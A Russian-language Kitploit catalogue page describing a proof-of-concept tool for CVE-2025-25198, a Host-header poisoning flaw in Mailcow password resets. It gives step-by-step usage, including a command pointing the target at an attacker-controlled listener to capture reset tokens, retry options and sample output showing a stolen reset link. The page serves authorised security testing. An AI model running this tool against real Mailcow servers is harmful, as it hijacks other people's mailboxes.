Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-25198-PoC — PoC для CVE-2025-25198: автоматический тест на отравление Host-заголовка для Mailcow — HTTPS-прослушиватель, автоматическая обработка cookie/CSRF, перехватывает первую ссылку сброса. | Kitploit
Инструменты/GitHubGitHub/groppoxx/cve-2025-25198-poc
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubgroppoxx/cve-2025-25198-poc

CVE-2025-25198-PoC

PoC для CVE-2025-25198: автоматический тест на отравление Host-заголовка для Mailcow — HTTPS-прослушиватель, автоматическая обработка cookie/CSRF, перехватывает первую ссылку сброса.

Репозиторий
20164 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2025-25198-PoC

Эксплойт-концепция для CVE-2025-25198, проблемы отравления заголовка Host, затрагивающей процессы сброса пароля Mailcow.

Скрипт запускает локальный HTTPS-слушатель на порту 443, автоматически получает валидный CSRF-токен, отправляет последовательность сброса пароля с отравленным заголовком Host и останавливается, когда ссылка для сброса получена либо из HTTP-ответа, либо из обратного вызова на слушатель.

Что делает

  1. Запускает HTTPS-слушатель с самоподписанным сертификатом.
  2. Создаёт новую сессию HTTP-клиента.
  3. Автоматически получает CSRF-токен.
  4. Отправляет процесс сброса с контролируемым заголовком Host.
  5. Извлекает ссылки для сброса из ответов и перенаправлений.
  6. Ожидает обращения к слушателю, если цель отправляет ссылку out-of-band.
  7. Останавливается на первой валидной ссылке сброса и выводит её без лишнего.

Требования

Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

Установите зависимости:

pip install -r requirements.txt

Быстрый старт

Значения, заключённые в угловые скобки, являются заполнителями. Замените их своими значениями и не включайте символы < и >.

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

Заполнители

<MAILCOW_URL>    # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX>        # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>  # IP or DNS name that the target can reach on TCP/443.

Полный пример

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

Пример вывода:

[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

Демонстрация

asciicast

Дополнительные флаги

--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
   Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>
   Stop after N attempts. Default: 0, which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.

Примечания

  • Слушатель всегда привязывается к порту 443.
  • В Linux/macOS для привязки порта 443 требуются права sudo или root.
  • Цель должна иметь доступ к https://<ATTACKER_HOST>/.
  • Если ссылка для сброса найдена в HTTP-ответе, скрипт немедленно завершается.
  • Если ссылка не найдена в ответе, скрипт ожидает обратного вызова на HTTPS-слушатель.
  • Если ссылку получить не удалось, последовательность повторяется каждые 8 секунд по умолчанию.
  • server.pem и server.key создаются автоматически, если они отсутствуют.

Правовая информация

Данный PoC предназначен для авторизованного тестирования безопасности, лабораторных сред и проверки уязвимостей. Не используйте его против систем без явного разрешения.

Скачать инструмент